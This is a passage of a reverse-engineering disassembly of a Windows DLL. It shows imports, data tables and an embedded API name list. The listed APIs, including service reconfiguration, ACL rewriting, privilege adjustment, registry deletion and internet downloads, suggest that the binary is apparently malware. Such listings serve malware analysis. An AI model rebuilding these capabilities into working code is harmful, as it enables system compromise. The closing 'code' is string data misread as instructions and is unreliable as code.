		extrn calloc:dword	; CODE XREF: sub_9A9C7E+41p
					; DATA XREF: sub_9A9C7E+41r
; int __cdecl memcmp(const void	*Buf1,const void *Buf2,size_t Size)
		extrn __imp_memcmp:dword ; DATA	XREF: memcmpr
; char *__cdecl	strcat(char *Dest,const	char *Source)
		extrn __imp_strcat:dword ; DATA	XREF: strcatr
; __int32 __cdecl labs(__int32 X)
		extrn __imp_labs:dword	; DATA XREF: labsr
		extrn __imp_sin:dword	; DATA XREF: sinr
		extrn __imp_log:dword	; DATA XREF: logr
; char *__cdecl	strtok(char *Str,const char *Delim)
		extrn strtok:dword	; CODE XREF: sub_9A82C5+64p
					; sub_9A82C5+6Fp ...
; int __cdecl atoi(const char *Str)
		extrn atoi:dword	; CODE XREF: sub_9A82C5+7Fp
					; sub_9A82C5+D7p
					; DATA XREF: ...
; wchar_t *__cdecl wcscpy(wchar_t *Dest,const wchar_t *Source)
		extrn wcscpy:dword	; CODE XREF: sub_9A7641+1BDp
					; sub_9A7641+2D2p ...
; wchar_t *__cdecl wcscat(wchar_t *Dest,const wchar_t *Source)
		extrn wcscat:dword	; CODE XREF: sub_9A7641+2EEp
					; sub_9A7B42+8Bp ...
; wchar_t *__cdecl wcsdup(const	wchar_t	*Str)
		extrn _wcsdup:dword	; CODE XREF: sub_9A7374+1E3p
					; sub_9A7374+2ADp
					; DATA XREF: ...
; void *__cdecl	malloc(size_t Size)
		extrn malloc:dword	; CODE XREF: sub_9A6D9F+2Ep
					; _CRT_INIT(x,x,x)+2Ep
					; DATA XREF: ...
; void __cdecl free(void *Memory)
		extrn free:dword	; CODE XREF: sub_9A6D9F+50p
					; sub_9A6E36+3Ap ...
; void *__cdecl	memcpy(void *Dst,const void *Src,size_t	Size)
		extrn __imp_memcpy:dword ; DATA	XREF: memcpyr
; void *__cdecl	memset(void *Dst,int Val,size_t	Size)
		extrn __imp_memset:dword ; DATA	XREF: memsetr
; wchar_t *__cdecl wcsstr(const	wchar_t	*Str,const wchar_t *SubStr)
		extrn wcsstr:dword	; CODE XREF: sub_9A52A3+25p
					; DATA XREF: sub_9A52A3+25r
; int snwprintf(wchar_t	*Dest,size_t Count,const wchar_t *Format,...)
		extrn _snwprintf:dword	; CODE XREF: sub_9A5033+9Dp
					; sub_9A6F7B+6Bp ...
; int __cdecl wcsncmp(const wchar_t *Str1,const	wchar_t	*Str2,size_t MaxCount)
		extrn wcsncmp:dword	; CODE XREF: sub_9A4E45+C1p
					; DATA XREF: sub_9A4E45+C1r
; wchar_t *__cdecl wcsncpy(wchar_t *Dest,const wchar_t *Source,size_t Count)
		extrn wcsncpy:dword	; CODE XREF: sub_9A4358+BCp
					; sub_9A471B+164p
					; DATA XREF: ...
; int __cdecl wcsnicmp(const wchar_t *Str1,const wchar_t *Str2,size_t MaxCount)
		extrn _wcsnicmp:dword	; CODE XREF: sub_9A4358+291p
					; DATA XREF: sub_9A4358+291r
; wchar_t *__cdecl wcsncat(wchar_t *Dest,const wchar_t *Source,size_t Count)
		extrn wcsncat:dword	; CODE XREF: sub_9A4207+43p
					; sub_9A4358+D6p ...
; size_t __cdecl wcslen(const wchar_t *Str)
		extrn wcslen:dword	; CODE XREF: sub_9A4157+17p
					; sub_9A4157+29p ...
; int __cdecl wcsicmp(const wchar_t *Str1,const	wchar_t	*Str2)
		extrn _wcsicmp:dword	; CODE XREF: sub_9A4157+31p
					; sub_9A7641+310p
					; DATA XREF: ...
; char *__cdecl	strlwr(char *Str)
		extrn _strlwr:dword	; CODE XREF: sub_9A4074+64p
					; DATA XREF: sub_9A4074+64r
; char *__cdecl	strstr(const char *Str,const char *SubStr)
		extrn strstr:dword	; CODE XREF: sub_9A4074+8Ep
					; DATA XREF: sub_9A4074+8Er
; int __cdecl strnicmp(const char *Str1,const char *Str,size_t MaxCount)
		extrn _strnicmp:dword	; CODE XREF: sub_9A3FB6+5Cp
					; sub_9A82C5+A9p
					; DATA XREF: ...
; void __cdecl srand(unsigned int Seed)
		extrn srand:dword	; CODE XREF: sub_9A3715+2Bp
					; sub_9A394B+2Dp ...
; int __cdecl rand()
		extrn rand:dword	; CODE XREF: sub_9A3715+31p
					; sub_9A387C+4Dp ...
; int snprintf(char *Dest,size_t Count,const char *Format,...)
		extrn _snprintf:dword	; CODE XREF: sub_9A3715+68p
					; sub_9A3C63+CFp ...
; char *__cdecl	strrchr(const char *Str,int Ch)
		extrn strrchr:dword	; CODE XREF: sub_9A3620+37p
					; sub_9A3FB6+Cp
					; DATA XREF: ...
; char *__cdecl	strncpy(char *Dest,const char *Source,size_t Count)
		extrn strncpy:dword	; CODE XREF: sub_9A3620+54p
					; sub_9A3715+13Dp
					; DATA XREF: ...
; size_t __cdecl strlen(const char *Str)
		extrn __imp_strlen:dword ; DATA	XREF: strlenr
; int __cdecl stricmp(const char *Str1,const char *Str2)
		extrn _stricmp:dword	; CODE XREF: sub_9A3620+81p
					; StartAddress+65p ...
; char *__cdecl	strncat(char *Dest,const char *Source,size_t Count)
		extrn strncat:dword	; CODE XREF: sub_9A3620+92p
					; sub_9A387C+61p
					; DATA XREF: ...

;
; Imports from oleaut32.dll
;
; void __stdcall VariantInit(VARIANTARG	*pvarg)
		extrn VariantInit:dword	; CODE XREF: sub_9A49B2+5Cp
					; sub_9A4E45+6Dp
					; DATA XREF: ...
; void __stdcall SysFreeString(BSTR bstrString)
		extrn SysFreeString:dword ; CODE XREF: sub_9A4D36+E8p
					; sub_9A4E45+108p
					; DATA XREF: ...
; UINT __stdcall SysStringLen(BSTR)
		extrn SysStringLen:dword ; CODE	XREF: sub_9A4D36+B3p
					; DATA XREF: sub_9A4D36+B3r
; BSTR __stdcall SysAllocString(const OLECHAR *psz)
		extrn SysAllocString:dword ; CODE XREF:	sub_9A4D36+AAp
					; DATA XREF: sub_9A4D36+AAr
; HRESULT __stdcall VariantClear(VARIANTARG *pvarg)
		extrn VariantClear:dword ; CODE	XREF: sub_9A49B2+195p
					; sub_9A4E45+11Bp
					; DATA XREF: ...

;
; Imports from shell32.dll
;
; BOOL __stdcall SHGetSpecialFolderPathA(HWND hwnd,LPSTR pszPath,int csidl,BOOL	fCreate)
		extrn SHGetSpecialFolderPathA:dword ; CODE XREF: sub_9A387C+4Ap
					; sub_9A387C+84p
					; DATA XREF: ...

;
; Imports from shlwapi.dll
;
; LSTATUS __stdcall SHDeleteValueA(HKEY	hkey,LPCSTR pszSubKey,LPCSTR pszValue)
		extrn SHDeleteValueA:dword ; CODE XREF:	sub_9A394B+68p
					; sub_9A394B+74p ...
; LPWSTR __stdcall StrStrIW(LPCWSTR lpFirst,LPCWSTR lpSrch)
		extrn StrStrIW:dword	; CODE XREF: sub_9A66EF+95p
					; DATA XREF: sub_9A66EF+95r
; LPSTR	__stdcall StrStrIA(LPCSTR lpFirst,LPCSTR lpSrch)
		extrn StrStrIA:dword	; CODE XREF: sub_9A3C63+165p
					; sub_9A3C63+1EBp ...
; LSTATUS __stdcall SHDeleteKeyW(HKEY hkey,LPCWSTR pszSubKey)
		extrn SHDeleteKeyW:dword ; CODE	XREF: sub_9A4207+6Dp
					; sub_9A7156+1Ap
					; DATA XREF: ...

;
; Imports from user32.dll
;
; BOOL __stdcall EnumThreadWindows(DWORD dwThreadId,WNDENUMPROC	lpfn,LPARAM lParam)
		extrn EnumThreadWindows:dword ;	CODE XREF: sub_9A4977+1Ep
					; DATA XREF: sub_9A4977+1Er
; HWND __stdcall GetDlgItem(HWND hDlg,int nIDDlgItem)
		extrn GetDlgItem:dword	; CODE XREF: fn+6p
					; DATA XREF: fn+6r
; BOOL __stdcall PostMessageA(HWND hWnd,UINT Msg,WPARAM	wParam,LPARAM lParam)
		extrn PostMessageA:dword ; CODE	XREF: fn+1Ap
					; DATA XREF: fn+1Ar

;
; Imports from wininet.dll
;
; BOOL __stdcall InternetGetConnectedState(LPDWORD lpdwFlags,DWORD dwReserved)
		extrn InternetGetConnectedState:dword ;	CODE XREF: StartAddress+128p
					; sub_9A60D7+51p ...
; HINTERNET __stdcall InternetOpenA(LPCSTR lpszAgent,DWORD dwAccessType,LPCSTR lpszProxy,LPCSTR	lpszProxyBypass,DWORD dwFlags)
		extrn InternetOpenA:dword ; CODE XREF: sub_9A60D7+9Dp
					; sub_9A81B2+70p
					; DATA XREF: ...
; HINTERNET __stdcall InternetOpenUrlA(HINTERNET hInternet,LPCSTR lpszUrl,LPCSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwFlags,DWORD dwContext)
		extrn InternetOpenUrlA:dword ; CODE XREF: sub_9A60D7+C3p
					; sub_9A81B2+87p
					; DATA XREF: ...
; BOOL __stdcall HttpQueryInfoA(HINTERNET hRequest,DWORD dwInfoLevel,LPVOID lpBuffer,LPDWORD lpdwBufferLength,LPDWORD lpdwIndex)
		extrn HttpQueryInfoA:dword ; CODE XREF:	sub_9A60D7+F9p
					; sub_9A81B2+B5p ...
; BOOL __stdcall InternetReadFile(HINTERNET hFile,LPVOID lpBuffer,DWORD	dwNumberOfBytesToRead,LPDWORD lpdwNumberOfBytesRead)
		extrn InternetReadFile:dword ; CODE XREF: sub_9A60D7:loc_9A626Ep
					; DATA XREF: sub_9A60D7+11Cr
; BOOL __stdcall InternetCloseHandle(HINTERNET hInternet)
		extrn InternetCloseHandle:dword	; CODE XREF: sub_9A60D7+1A5p
					; sub_9A60D7+1AEp ...

;
; Imports from ws2_32.dll
;
; struct hostent *__stdcall gethostbyname(const	char *name)
		extrn gethostbyname:dword ; CODE XREF: sub_9A857A+191p
					; DATA XREF: sub_9A857A+191r
; char *__stdcall inet_ntoa(struct in_addr in)
		extrn inet_ntoa:dword	; CODE XREF: sub_9A857A+23Ep
					; DATA XREF: sub_9A857A+23Er
; int __stdcall	WSAStartup(WORD	wVersionRequested,LPWSADATA lpWSAData)
		extrn WSAStartup:dword	; CODE XREF: StartAddress+ADp
					; DATA XREF: StartAddress+ADr
; u_long __stdcall ntohl(u_long	netlong)
		extrn ntohl:dword	; CODE XREF: sub_9A4033+15p
					; DATA XREF: sub_9A4033+15r

;
; Imports from ole32.dll
;
; HRESULT __stdcall CoInitializeEx(LPVOID pvReserved,DWORD dwCoInit)
		extrn CoInitializeEx:dword ; CODE XREF:	sub_9A4B7B+11p
					; sub_9A4C0F+14p
					; DATA XREF: ...
; HRESULT __stdcall CoCreateInstance(const IID *const rclsid,LPUNKNOWN pUnkOuter,DWORD dwClsContext,const IID *const riid,LPVOID *ppv)
		extrn CoCreateInstance:dword ; CODE XREF: sub_9A4B7B+4Ep
					; sub_9A4C0F+39p ...
; void __stdcall CoUninitialize()
		extrn CoUninitialize:dword ; CODE XREF:	sub_9A4B7B+84p
					; DATA XREF: sub_9A4B7B+84r ...
; HRESULT __stdcall CoInitializeSecurity(PSECURITY_DESCRIPTOR pSecDesc,LONG cAuthSvc,SOLE_AUTHENTICATION_SERVICE *asAuthSvc,void *pReserved1,DWORD dwAuthnLevel,DWORD dwImpLevel,void *pAuthList,DWORD dwCapabilities,void *pReserved3)
		extrn CoInitializeSecurity:dword ; CODE	XREF: sub_9A4B7B+31p
					; DATA XREF: sub_9A4B7B+31r

;
; Imports from urlmon.dll
;
; HRESULT __stdcall ObtainUserAgentString(DWORD	dwOption,LPSTR pszUAOut,DWORD *cbSize)
		extrn __imp_ObtainUserAgentString:dword	; DATA XREF: ObtainUserAgentStringr


; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 9A130Ch
		assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing
		dd 1716h
; char Str2[]
Str2		db '('                  ; DATA XREF: sub_9A3620+6Do
		db 17h,	2 dup(0)
		dd 1736h
; char asc_9A1318[]
asc_9A1318	db 'H'                  ; DATA XREF: StartAddress+51o
					; sub_9A682F+4Do
		db 17h,	2 dup(0)
		dd 175Eh
; char aT[]
aT		db 't'                  ; DATA XREF: sub_9A36CC:loc_9A36F1o
					; sub_9A3C63+225o
		db 17h,	2 dup(0)
		dd 178Ch, 17A4h, 17B8h
; const	WCHAR Srch
Srch		dd 17D0h, 17E0h, 17F4h,	180Ah, 1816h, 1836h, 1852h, 1862h
					; DATA XREF: sub_9A36CC+2o
		dd 1872h, 1888h, 18A4h,	18B8h
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		align 4
dword_9A1364	dd 18D6h, 18EEh, 1906h,	1916h, 1928h, 1940h, 1952h, 1962h
					; DATA XREF: .text:009B802Co
		dd 1976h, 1984h, 1996h,	19A6h, 19BCh, 19D2h, 19E8h, 19FEh
dword_9A13A4	dd 1A10h, 4D206569h, 1A36h, 1A42h ; DATA XREF: .text:Sourceo
; char pszSubKey[]
pszSubKey	db 'P'                  ; DATA XREF: sub_9A394B+5Do
					; sub_9A39CF+4Fo
		db 1Ah,	2 dup(0)
		dd 1A60h, 1A76h, 1A7Eh,	1A8Ch, 1A9Ch, 1AA8h, 1AB6h, 1AC4h
		dd 1AD4h, 1AE2h, 1AF2h
; wchar_t dword_9A13E4
dword_9A13E4	dd 1B00h, 1B12h, 1B22h,	1B32h, 1B46h ; DATA XREF: sub_9A394B+18o
					; sub_9A7E0F+15Bo
; const	WCHAR dword_9A13F8
dword_9A13F8	dd 1B5Ch, 1B78h, 1B86h,	1B98h, 1BB4h, 1BC0h, 1BCEh, 1BDCh
					; DATA XREF: sub_9A39CF+6Bo
		dd 1BEAh, 1C00h, 1C1Ch,	1C2Ah, 1C40h, 1C52h, 1C66h, 1C7Ch
		dd 1C8Ch, 1CA2h, 1CB2h,	1CC2h, 1CD2h, 1CE0h
; const	WCHAR dword_9A1450
dword_9A1450	dd 1CF4h, 1D06h, 1D1Ah,	1D2Eh, 1D3Ch, 1D4Ch, 1D5Eh, 1D6Eh
					; DATA XREF: sub_9A39CF+60o
		dd 1D82h, 1D9Ah, 1DAAh,	1DC4h, 1DD8h, 1DE6h, 1DFCh, 1E0Ah
		dd 1E16h, 1E26h, 1E3Ah,	1E48h, 1E58h, 1E68h, 1E76h, 1E84h
		dd 1E9Ah, 1EB0h, 1EC2h,	1ED6h, 1EECh, 1EFEh, 1F0Ah, 1F1Ah
		dd 1F2Eh, 1F3Ch, 1F54h,	1F64h, 1F7Eh, 1F8Ah, 1FA0h, 1FB0h
		dd 39002Dh, 1FCCh, 1FDCh, 1FE8h, 1FF2h,	1FFCh, 2006h, 200Eh
		dd 2014h, 201Ah, 2024h,	202Ch, 2036h, 2040h, 204Ah
dword_9A152C	dd 2054h, 205Ch, 2066h,	2070h, 207Ah ; DATA XREF: sub_9A39CF+48o
dword_9A1540	dd 2088h, 2092h		; DATA XREF: sub_9A39CF+3Co
dword_9A1548	dd 209Ch, 20A8h		; DATA XREF: sub_9A39CF+30o
		dd 20B2h, 20BCh		; DATA XREF: sub_9A39CF+24o
		dd 20C8h, 20D2h, 20DCh	; DATA XREF: sub_9A39CF+18o
dword_9A1564	dd 20E8h, 20F0h, 20F8h	; DATA XREF: sub_9A39CF+Co
; const	CHAR dword_9A1570
dword_9A1570	dd 2104h, 210Eh		; DATA XREF: sub_9A39CF+2o
dword_9A1578	dd 2118h, 2122h, 212Eh,	63697672h, 2146h ; DATA	XREF: sub_9A3C63:loc_9A3E5Bo
dword_9A158C	dd 2154h, 2164h, 2174h	; DATA XREF: sub_9A3C63+1E3o
; char aJ[]
aJ		db '†!',0               ; DATA XREF: sub_9A3C63+1D5o
					; sub_9A3C63+211o
		align 4
aOst_v		db 'ost.¢!',0
		align 4
; char aServ[]
aServ		db 'servÈ!',0           ; DATA XREF: sub_9A3C63+1B5o
					; sub_9A5C35:loc_9A5C38o
		align 4
		db 'Ú!',0
		align 10h
aC		db 'æ!',0
		align 4
dword_9A15B4	dd 21F2h, 32336C6Ch, 220Eh, 2222h ; DATA XREF: sub_9A3C63+147o
; char a0[]
a0		db '0"',0               ; DATA XREF: sub_9A3C63+F6o
		align 4
aAlL		db 'al\%L"',0
		align 10h
		db 'h"',0
		align 4
; char Format[]
Format		db 'x"',0               ; DATA XREF: sub_9A3C63+C1o
		align 4
aM		db 'Œ"',0
		align 4
aU		db 'ž"',0
		align 10h
; char Name[]
Name		db '²"',0               ; DATA XREF: sub_9A3C63+3Eo
		align 4
aBugp		db 'bugPÔ"',0
		align 4
aF		db 'ä"',0
		align 10h
		dd 22F0h, 22FEh
dword_9A15F8	dd 806B000h		; DATA XREF: sub_9A4033:loc_9A4050r
dword_9A15FC	dd 2310h		; DATA XREF: sub_9A4033+25r
		dd 2322h, 2336h, 2348h,	0C2417BFh, 236Ch, 0C2A2BC7h, 130Ch
		dd 2 dup(0)
		dd 1708h, 1000h, 13ACh,	2 dup(0)
		dd 1A28h, 10A0h, 14F4h,	2 dup(0)
		dd 1FC0h, 11E8h, 1588h,	2 dup(0)
		dd 2138h, 127Ch, 15A0h,	2 dup(0)
		dd 2196h, 1294h, 15A8h,	2 dup(0)
		dd 21BCh, 129Ch, 15BCh,	2 dup(0)
		dd 2202h, 12B0h, 15CCh,	2 dup(0)
		dd 2240h, 12C0h, 15E8h,	2 dup(0)
		dd 22C8h, 12DCh, 15FCh,	2 dup(0)
		dd 2306h, 12F0h, 1610h,	2 dup(0)
		dd 2360h, 1304h, 5 dup(0)
		db  61h	; a
		db 64h,	76h, 61h
		db  70h	; p
		db 69h,	33h, 32h
		db  2Eh	; .
		db 64h,	2 dup(6Ch)
		db    0
		db 57h,	2 dup(0)
aRegcreatekey_0	db 'RegCreateKeyExW',0
		db    0
		align 2
aRegflushkey	db 'RegFlushKey',0
		align 4
aOpenscmanagerw	db 'OpenSCManagerW',0
a?		db '?',0
		align 2
aEnumservicesst	db 'EnumServicesStatusW',0
		align 10h
aQueryserviceco	db 'QueryServiceConfigW',0
		db    0
		align 2
aQueryservice_0	db 'QueryServiceConfig2W',0
a?_0		db '?',0
		align 2
aGetnamedsecuri	db 'GetNamedSecurityInfoW',0
		db    0
		align 2
aSetentriesinac	db 'SetEntriesInAclW',0
a?_1		db '?',0
		align 2
aSetnamedsecuri	db 'SetNamedSecurityInfoW',0
		db    0
		align 2
aRegenumkeyexw	db 'RegEnumKeyExW',0
		db    0
		align 2
aRegsetkeysecur	db 'RegSetKeySecurity',0
		db    0
		align 2
aGettokeninform	db 'GetTokenInformation',0
		align 4
aEqualsid	db 'EqualSid',0
		db ']',0
		align 4
aInitializesecu	db 'InitializeSecurityDescriptor',0
aQ		db 'Q',0
		align 4
aAllocateandini	db 'AllocateAndInitializeSid',0
		db '}',0
		align 4
aGetlengthsid	db 'GetLengthSid',0
aM_0		db '¬',0
		align 4
aInitializeacl	db 'InitializeAcl',0
		align 4
aAddaccessallow	db 'AddAccessAllowedAce',0
		db    0
		align 2
aSetsecuritydes	db 'SetSecurityDescriptorDacl',0
		dd 65530000h, 6C694674h, 63655365h, 74697275h, 41004179h
		dd 72460000h, 69536565h, 64h, 6E65704Fh, 636F7250h, 54737365h
		dd 6E656B6Fh, 0D200h
aLookupprivileg	db 'LookupPrivilegeValueA',0
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0
		align 4
aOpenservicea	db 'OpenServiceA',0
		db 15h,	2 dup(0)
aControlservice	db 'ControlService',0
aA		db 'A',0
		align 2
aChangeservicec	db 'ChangeServiceConfigA',0
aA_0		db 'A',0
		align 2
aRegsetvalueexw	db 'RegSetValueExW',0
aU_0		db 'U',0
		align 4
aRegopenkeyexw	db 'RegOpenKeyExW',0
		align 4
aRegqueryvalu_0	db 'RegQueryValueExW',0
		db 'Ñ',0
		align 4
aRegclosekey_0	db 'RegCloseKey',0
		dd 704F0000h, 43536E65h, 616E614Dh, 41726567h, 8C00h, 6E65704Fh
		dd 76726553h, 57656369h, 5500h
aCloseserviceha	db 'CloseServiceHandle',0
aB		db 'B',0
		align 2
aQueryservicest	db 'QueryServiceStatus',0
		db 'Ð',0
		align 4
aQueryservice_1	db 'QueryServiceConfigA',0
		db    0
		align 2
aCryptrelease_0	db 'CryptReleaseContext',0
		align 10h
aCryptgenrand_0	db 'CryptGenRandom',0
aC_0		db 'C',0
		align 2
aCryptacquire_0	db 'CryptAcquireContextA',0
aCkernel32_dll	db 'Ckernel32.dll',0
		db 2Bh,	5Eh, 2
aMovefilea	db 'MoveFileA',0
aV		db '‚',0
aDeletefilea_0	db 'DeleteFileA',0
		db 0C9h	; É
		db 1, 47h, 65h
aTtemppatha	db 'tTempPathA',0
		db 43h
		db 0B7h	; ·
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		dw 33Fh
aSleep		db 'Sleep',0
a2		db '2',0
aClosehandle_0	db 'CloseHandle',0
aM_1		db 'm',0
aCreatethread_0	db 'CreateThread',0
		db 44h
		dd 6F4C0253h, 69466B63h, 4400656Ch, 6547015Ch, 6C694674h
		dd 7A695365h, 500065h, 61657243h, 69466574h, 41656Ch, 6547016Bh
		dd 636F4C74h, 69546C61h, 4400656Dh, 654701DBh, 72655674h
		dd 6E6F6973h, 3013000h,	45746553h, 726F7272h, 65646F4Dh
		dd 0B77E00h, 74697845h,	636F7250h, 737365h, 6547010Ah
		dd 6D6F4374h, 646E616Dh, 656E694Ch, 1690041h, 4C746547h
		dd 45747361h, 726F7272h, 5DD000h, 61657243h, 754D6574h
		dd 41786574h, 10E0000h,	43746547h, 75706D6Fh, 4E726574h
		dd 41656D61h, 13D8B00h
aGetcurrentproc	db 'GetCurrentProcessId',0
aK		db 'Š',0
aDisablethreadl	db 'DisableThreadLibraryCalls',0
		db  5Fh	; _
		db 2, 4Dh, 6Fh
aVefileexa	db 'veFileExA',0
		dw 285h
aProcess32first	db 'Process32First',0
aJp		db 'Jp',0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0
		db 4Ah
		dd 655202A4h, 69466461h, 4A00656Ch, 72430053h, 65746165h
		dd 656C6946h, 2600057h,	65766F4Dh, 656C6946h, 577845h
		dd 65440083h, 6574656Ch, 656C6946h, 37F0057h
aWidechartomult	db 'WideCharToMultiByte',0
		db '»',0
aExpandenvironm	db 'ExpandEnvironmentStringsW',0
; ---------------------------------------------------------------------------
		jmp	short loc_9A1C1F
; ---------------------------------------------------------------------------
		inc	edi


loc_9A1C1F:				; CODE XREF: .text:009A1C1Cj
		insb
		outsd
		bound	esp, [ecx+6Ch]
		inc	ecx
		insb
		insb
		outsd
		arpl	[eax], ax
		add	cl, gs:[ebp+75h]
		insb
		jz	short loc_9A1C9A
		inc	edx
		jns	short loc_9A1CA8
		db	65h
		push	esp
		outsd
		push	edi
		imul	esp, [ebp+43h],	726168h
		dec	eax
		add	edx, [ebp+72h]
		insd
		imul	ebp, [esi+61h],	68546574h
		jb	short near ptr loc_9A1CB3+1
		popa
		add	fs:[ecx+eax+47h], dl
		db	65h
		jz	short near ptr loc_9A1C9C+1
		js	short loc_9A1CC3
		jz	short loc_9A1C9F
		outsd
		db	64h, 65h
		push	esp
		push	64616572h
		add	[edi], bh
		add	[edi+65h], eax
		jz	short loc_9A1CAF
		jnz	short loc_9A1CE0
		jb	short loc_9A1CD5
		outsb
		jz	short near ptr loc_9A1CC6+1
		push	64616572h
		dec	ecx
		add	fs:[ebx+654701DCh], al
		jz	short near ptr loc_9A1CD7+1
		db	65h
		jb	short near ptr loc_9A1CF7+1
		imul	ebp, [edi+6Eh],	417845h
		jnp	short near ptr loc_9A1C90+1
		push	edi
		popa


loc_9A1C90:				; CODE XREF: .text:009A1C8Cj
		imul	esi, [esi+eax*2+6Fh], 6E695372h
		ins	byte ptr es:[di], dx


loc_9A1C9A:				; CODE XREF: .text:009A1C2Fj
		db	65h
		dec	edi


loc_9A1C9C:				; CODE XREF: .text:009A1C55j
		bound	ebp, [edx+65h]


loc_9A1C9F:				; CODE XREF: .text:009A1C5Aj
		arpl	[eax+eax-41h], si
		add	dl, [ebx+65h]
		jz	short near ptr loc_9A1CF3+1


loc_9A1CA8:				; CODE XREF: .text:009A1C32j
		popa
		jnb	short near ptr loc_9A1D1E+1
		inc	ebp
		jb	short loc_9A1D20
		outsd


loc_9A1CAF:				; CODE XREF: .text:009A1C6Aj
		jb	short $+2
		icebp
		pop	esp


loc_9A1CB3:				; CODE XREF: .text:009A1C4Dj
		add	cl, [ebp+6Fh]
		db	64h
		jnz	short loc_9A1D25
		xor	esi, gs:[edx]
		dec	esi
		db	65h
		js	short loc_9A1D34
		add	ch, bh
		pop	edx


loc_9A1CC3:				; CODE XREF: .text:009A1C58j
		add	cl, [ebp+6Fh]


loc_9A1CC6:				; CODE XREF: .text:009A1C71j
		db	64h
		jnz	short near ptr loc_9A1D34+1
		xor	esi, gs:[edx]
		inc	esi
		imul	esi, [edx+73h],	0B80074h
		inc	ebp


loc_9A1CD5:				; CODE XREF: .text:009A1C6Ej
		js	short near ptr loc_9A1D3F+1


loc_9A1CD7:				; CODE XREF: .text:009A1C80j
		jz	short near ptr loc_9A1D2C+1
		push	64616572h
		add	al, al


loc_9A1CE0:				; CODE XREF: .text:009A1C6Cj
		add	edx, cs:[ebx+65h]
		jz	short loc_9A1D3A
		push	64616572h
		push	eax
		jb	short near ptr loc_9A1D56+1
		outsd
		jb	short loc_9A1D5A
		jz	short loc_9A1D6C


loc_9A1CF3:				; CODE XREF: .text:009A1CA6j
		add	[ecx+3], dh
		push	esi


loc_9A1CF7:				; CODE XREF: .text:009A1C82j
		imul	esi, [edx+74h],	506C6175h
		jb	short near ptr loc_9A1D6C+3
		jz	short near ptr loc_9A1D65+2
		arpl	[eax+eax+3Fh], si
		into
		add	[edi+65h], eax
		jz	short near ptr loc_9A1D5F+1
		push	64616572h
		push	eax
		jb	short near ptr loc_9A1D7C+1
		outsd
		jb	short loc_9A1D80
		jz	short near ptr loc_9A1D91+1
		add	[esi], bh
		add	[edi+65h], eax


loc_9A1D1E:				; CODE XREF: .text:009A1CA9j
		jz	short loc_9A1D63


loc_9A1D20:				; CODE XREF: .text:009A1CACj
		jnz	short loc_9A1D94
		jb	short loc_9A1D89
		outsb


loc_9A1D25:				; CODE XREF: .text:009A1CB6j
		jz	short loc_9A1D7B
		push	64616572h


loc_9A1D2C:				; CODE XREF: .text:loc_9A1CD7j
		add	[ecx+6956036Eh], cl
		jb	short near ptr loc_9A1DA7+1


loc_9A1D34:				; CODE XREF: .text:009A1CBDj
					; .text:loc_9A1CC6j
		jnz	short loc_9A1D97
		insb
		inc	esi
		jb	short near ptr loc_9A1D9E+1


loc_9A1D3A:				; CODE XREF: .text:009A1CE4j
		add	gs:[ebx+3], ch
		push	esi


loc_9A1D3F:				; CODE XREF: .text:loc_9A1CD5j
		imul	esi, [edx+74h],	416C6175h
		insb
		insb
		outsd
		arpl	[eax], ax
		mov	dword ptr [eax+74654701h], 636F7250h
		inc	ecx


loc_9A1D56:				; CODE XREF: .text:009A1CECj
		db	64h, 64h
		jb	short near ptr loc_9A1DBE+1


loc_9A1D5A:				; CODE XREF: .text:009A1CEFj
		jnb	short loc_9A1DCF
		add	[edx+42h], bh


loc_9A1D5F:				; CODE XREF: .text:009A1D0Aj
		add	cl, [edi+ebp*2+61h]


loc_9A1D63:				; CODE XREF: .text:loc_9A1D1Ej
		db	64h
		dec	esp


loc_9A1D65:				; CODE XREF: .text:009A1D00j
		imul	esp, [edx+72h],	41797261h


loc_9A1D6C:				; CODE XREF: .text:009A1CF1j
					; .text:009A1CFEj
		add	[ebp+65470176h], bl
		jz	short near ptr loc_9A1DC0+1
		outsd
		db	64h
		jnz	short near ptr loc_9A1DDE+6
		db	65h
		dec	eax
		popa


loc_9A1D7B:				; CODE XREF: .text:loc_9A1D25j
		outsb


loc_9A1D7C:				; CODE XREF: .text:009A1D12j
		db	64h
		insb
		db	65h
		inc	ecx


loc_9A1D80:				; CODE XREF: .text:009A1D15j
		add	[edi+654701DEh], bh
		jz	short loc_9A1DDE
		outsd


loc_9A1D89:				; CODE XREF: .text:009A1D22j
		insb
		jnz	short near ptr loc_9A1DF7+2
		db	65h
		dec	ecx
		outsb
		outsw


loc_9A1D91:				; CODE XREF: .text:009A1D17j
		jb	short loc_9A1E00
		popa


loc_9A1D94:				; CODE XREF: .text:loc_9A1D20j
		jz	short near ptr loc_9A1DFD+2
		outsd


loc_9A1D97:				; CODE XREF: .text:loc_9A1D34j
		outsb
		inc	ecx
		add	dl, dl
		add	[edi+65h], eax


loc_9A1D9E:				; CODE XREF: .text:009A1D38j
		jz	short loc_9A1DF4
		imul	esp, [ebx+6Bh],	6E756F43h


loc_9A1DA7:				; CODE XREF: .text:009A1D32j
		jz	short $+2
		mov	bl, 92h
		add	dl, [ecx+75h]
		db	65h
		jb	short near ptr loc_9A1E29+1
		push	eax
		db	65h
		jb	short near ptr loc_9A1E1A+1
		outsd
		jb	short near ptr loc_9A1E21+4
		popa
		outsb
		arpl	[ebp+43h], sp
		outsd


loc_9A1DBE:				; CODE XREF: .text:loc_9A1D56j
		jnz	short near ptr loc_9A1E2C+2


loc_9A1DC0:				; CODE XREF: .text:009A1D72j
		jz	short near ptr loc_9A1E21+6
		jb	short $+2
		cmp	al, 1
		inc	edi
		db	65h
		jz	short loc_9A1E0D
		jnz	short near ptr loc_9A1E3D+1
		jb	short loc_9A1E33
		outsb


loc_9A1DCF:				; CODE XREF: .text:loc_9A1D5Aj
		jz	short loc_9A1E21
		jb	short near ptr loc_9A1E41+1
		arpl	[ebp+73h], sp
		jnb	short $+2
		or	eax, [ebx]
		push	ebx
		db	65h
		jz	short near ptr loc_9A1E21+3


loc_9A1DDE:				; CODE XREF: .text:009A1D86j
					; .text:009A1D75j
		imul	ebp, [ebp+54h],	656D69h
		push	edi
		add	[edi+65h], eax
		jz	short near ptr loc_9A1E2C+6
		imul	ebp, [ebp+41h],	69727474h


